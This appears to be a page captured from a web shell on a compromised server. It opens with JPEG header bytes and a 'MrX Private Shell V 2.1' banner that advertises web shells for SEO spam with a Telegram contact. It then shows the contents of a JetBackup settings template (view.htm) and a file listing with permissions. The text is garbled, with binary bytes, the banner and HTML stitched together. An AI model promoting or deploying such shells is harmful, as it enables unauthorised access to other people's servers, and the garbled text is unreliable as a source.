����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<div class="row" ng-controller="initialSettings105">
<div class="col-md-6 col-sm-6 col-xs-6 col-md-offset-3">
<div class="x_panel">
<div class="x_content">
<h2><span class="fas fa-star"></span> {{lang.t("Important Settings")}}</h2>
<div class="row">
<div class="col-lg-12 col-md-12">
<div class="form-group">
<label class="control-label col-md-3 col-sm-3 col-xs-12" for="orphan_backup_ttl">{{ lang.t("Delete orphan backups older than") }} </label>
<div class="col-md-9 col-sm-9 col-xs-12">
<input-dropdown addon="{{lang.t('Days')}}" options="{0:lang.t('Disabled'),30:30,60:60,90:90,180:180}" ng-model="saveData.general.orphan_backup_ttl">
<input validate-field="int" min="0" class="form-control" ng-model="saveData.general.orphan_backup_ttl" id="orphan_backup_ttl" type="text" value="" />
</input-dropdown>
<p class="help-block">
{{ lang.t("Orphan backups are account backup files that are not associated with any ACTIVE account.") }}<br />
{{ lang.t("JetBackup will automatically remove these backups if the date these backups were CREATED is older than the number of days specified in this field.") }}
</p>
</div>
</div>
<div class="form-group">
<label class="control-label col-md-3 col-sm-3 col-xs-12" for="downloads_ttl">{{ lang.t("Downloads TTL") }}</label>
<div class="col-md-9 col-sm-9 col-xs-12">
<input-dropdown addon="{{lang.t('Days')}}" options="{0:lang.t('Don\'t delete'),15:15,30:30,60:60,90:90,180:180}" ng-model="saveData.general.downloads_ttl">
<input validate-field="int" min="0" class="form-control" ng-model="saveData.general.downloads_ttl" id="downloads_ttl" type="text" value="" />
</input-dropdown>
<p class="help-block">{{ lang.t("Days to keep generated downloads.") }}</p>
</div>
</div>
<div class="form-group">
<label class="control-label col-md-3 col-sm-3 col-xs-12" for="manually_backup_ttl">{{ lang.t("Manual Backups TTL") }}</label>
<div class="col-md-9 col-sm-9 col-xs-12">
<input-dropdown addon="{{lang.t('Days')}}" options="{0:lang.t('Don\'t delete'),15:15,30:30,60:60,90:90,180:180}" ng-model="saveData.general.manually_backup_ttl">
<input validate-field="int" min="0" class="form-control" ng-model="saveData.general.manually_backup_ttl" id="manually_backup_ttl" type="text" value="" />
</input-dropdown>
<p class="help-block">{{ lang.t("Days to keep Manual Backups. NOTE: Manual Backups will be DELETED after the set number of days, regardless of account ACTIVE/ORPHAN status.") }}</p>
</div>
</div>
<div class="form-group">
<label class="control-label col-md-3 col-sm-3 col-xs-12" for="system_forks">{{ lang.t("Concurrent System Tasks") }}</label>
<div class="col-md-9 col-sm-9 col-xs-12">
<input-dropdown addon="{{lang.t('Task(s)')}}" options="{1:1,3:3,5:5,10:10}" ng-model="saveData.performance.system_forks">
<input validate-field="int" min="1" max="10" class="form-control" ng-model="saveData.performance.system_forks" id="system_forks" type="text" value="" />
</input-dropdown>
<p class="help-block">{{ lang.t("Set the maximum number of concurrent system tasks that may run simultaneously. JetBackup utilizes one fork per system task on the server. (Maximum value of 10)") }}<br /><strong>{{lang.t("NOTE: Higher value doesn't necessarily mean higher performance, we recommend 1 task per server CPU core, but no more than 5 for daily usage, and 10 for restoring in a disaster recovery mode.")}}</strong></p>
</div>
</div>
<div class="form-group">
<label class="control-label col-md-3 col-sm-3 col-xs-12" for="queueable_forks">{{ lang.t("Concurrent Restore/Download/Reindex Tasks") }}</label>
<div class="col-md-9 col-sm-9 col-xs-12">
<input-dropdown addon="{{lang.t('Task(s)')}}" options="{1:1,3:3,5:5,10:10}" ng-model="saveData.performance.queueable_forks">
<input validate-field="int" min="1" max="10" class="form-control" ng-model="saveData.performance.queueable_forks" id="queueable_forks" type="text" value="" />
</input-dropdown>
<p class="help-block">{{ lang.t("Set the maximum number of concurrent restore/download/reindex tasks that may run simultaneously. JetBackup utilizes one fork per restore/download task on the server. (Maximum value of 10)") }}<br /><strong>{{lang.t("NOTE: Higher value doesn't necessarily mean higher performance, we recommend 1 task per server CPU core, but no more than 5 for daily usage, and 10 for restoring in a disaster recovery mode.")}}</strong></p>
</div>
</div>
<div class="form-group">
<label class="control-label col-md-3 col-sm-3 col-xs-12" for="backup_forks">{{ lang.t("Concurrent Backup/Clone Tasks") }}</label>
<div class="col-md-9 col-sm-9 col-xs-12">
<input-dropdown addon="{{lang.t('Task(s)')}}" options="{1:1,3:3,5:5,10:10}" ng-model="saveData.performance.backup_forks">
<input validate-field="int" min="1" max="10" class="form-control" ng-model="saveData.performance.backup_forks" id="backup_forks" type="text" value="" />
</input-dropdown>
<p class="help-block">{{ lang.t("Set the maximum number of concurrent backup/clone tasks that may run simultaneously. JetBackup utilizes one fork per Directories Backup Job or one fork per account on an Account Backup/Clone Job. (Maximum value of 10)") }}<br /><strong>{{lang.t("NOTE: Higher value doesn't necessarily mean higher performance, we recommend 1 task per server CPU core, but no more than 5. You also need to consider limiting CPU usage (200% is a reasonable limit).")}}</strong></p>
</div>
</div>
<div class="form-group">
<label class="control-label col-md-3 col-sm-3 col-xs-12" for="cpu_limit">{{ lang.t("CPU Limit") }}</label>
<div class="col-md-9 col-sm-9 col-xs-12">
<input-dropdown addon="%" options="{0:lang.t('Unlimited'),25:25,50:50,100:100,200:200}" ng-model="saveData.resource.cpu_limit">
<input validate-field="int" min="5" class="form-control" ng-model="saveData.resource.cpu_limit" id="cpu_limit" type="text" value="" />
</input-dropdown>
<p class="help-block">{{ lang.t("limit CPU usage in percentage; 100% is one core.") }}<br /><strong>{{ lang.t("Recommended values: 100% for a single/dual CPU server, anything above we recommend values between 200% - 400%") }}</strong></p>
</div>
</div>
<div class="form-group">
<label class="control-label col-md-3 col-sm-3 col-xs-12" for="cpu_limit">{{ lang.t("IO Read Limit") }}</label>
<div class="col-md-9 col-sm-9 col-xs-12">
<input-dropdown addon="MB/s" options="{0:lang.t('Unlimited'),1:1,5:5,10:10,50:50,100:100,250:250}" ng-model="saveData.resource.io_read_limit">
<input validate-field="int" min="0" class="form-control" ng-model="saveData.resource.io_read_limit" id="io_read_limit" type="text" value="" />
</input-dropdown>
<p class="help-block">{{ lang.t("limit IO read usage in MB per second") }}</p>
</div>
</div>
<div class="form-group">
<label class="control-label col-md-3 col-sm-3 col-xs-12" for="cpu_limit">{{ lang.t("IO Write Limit") }}</label>
<div class="col-md-9 col-sm-9 col-xs-12">
<input-dropdown addon="MB/s" options="{0:lang.t('Unlimited'),1:1,5:5,10:10,50:50,100:100,250:250}" ng-model="saveData.resource.io_write_limit">
<input validate-field="int" min="0" class="form-control" ng-model="saveData.resource.io_write_limit" id="io_write_limit" type="text" value="" />
</input-dropdown>
<p class="help-block">{{ lang.t("limit IO write usage in MB per second") }}</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| controller.js | File | 2.15 KB | 0644 |
|
| view.htm | File | 9.64 KB | 0644 |
|